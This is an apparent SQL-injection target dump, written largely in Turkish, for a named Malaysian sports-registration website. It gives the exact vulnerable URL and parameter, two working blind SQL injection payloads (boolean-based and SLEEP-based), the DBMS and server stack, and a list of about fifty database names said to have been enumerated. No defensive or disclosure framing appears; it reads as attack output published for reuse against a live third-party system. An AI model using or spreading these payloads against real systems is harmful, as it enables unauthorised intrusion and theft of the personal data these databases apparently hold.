mhc.jsports.com.my database

URL: https://mhc.jsports.com.my/veteran/index.php?id=1&id2=1&jantina=L&kelas=18&no=01

Veritabanları (50 adet):

· information_schema
· jsportsc_asg2018
· jsportsc_athletics
· jsportsc_bp
· jsportsc_daftar
· jsportsc_daftar3
· jsportsc_ipgk
· jsportsc_kg
· jsportsc_kot
· jsportsc_kudat
· jsportsc_kulai
· jsportsc_melaka
· jsportsc_merentasdesa
· jsportsc_mhc
· jsportsc_mrsm
· jsportsc_msipgm2022
· jsportsc_mssdbp
· jsportsc_mssdgu
· jsportsc_mssdjb
· jsportsc_mssdkg
· jsportsc_mssdkt
· jsportsc_mssdku
· jsportsc_mssdmg
· jsportsc_mssdmr
· jsportsc_mssdpg
· jsportsc_mssdpn
· jsportsc_mssdsg
· jsportsc_mssdtk
· jsportsc_olahraga
· jsportsc_olahraga2
· jsportsc_olahraga_pn
· jsportsc_pahang
· jsportsc_pelbagai
· jsportsc_penang
· jsportsc_perak
· jsportsc_permainanmssj
· jsportsc_permainanmssm
· jsportsc_renang
· jsportsc_sabah
· jsportsc_selangor
· jsportsc_testt
· jsportsc_tfdaftar
· jsportsc_tfdaftar2
· jsportsc_tfdaftar3
· jsportsc_tfdaftar4
· jsportsc_tfdaftar5
· jsportsc_v1mssj
· jsportsc_v1permainan
· jsportsc_v5master

Tespit Edilen Zafiyetler:

· Boolean-based blind SQL Injection (parametre: no)
· Time-based blind SQL Injection (parametre: no, SLEEP(5) ile)

Detaylar:

· Zafiyetli Parametre: no
· Payload (Boolean-based): id=1&id2=1&jantina=L&kelas=18&no=01') AND 5189=5189 AND ('icSO'='icSO
· Payload (Time-based): id=1&id2=1&jantina=L&kelas=18&no=01') AND SLEEP(5) AND ('NakT'='NakT
· DBMS: MySQL >= 5.0.12 (MariaDB fork)
· Web Teknolojisi: Apache, PHP
· performance_schema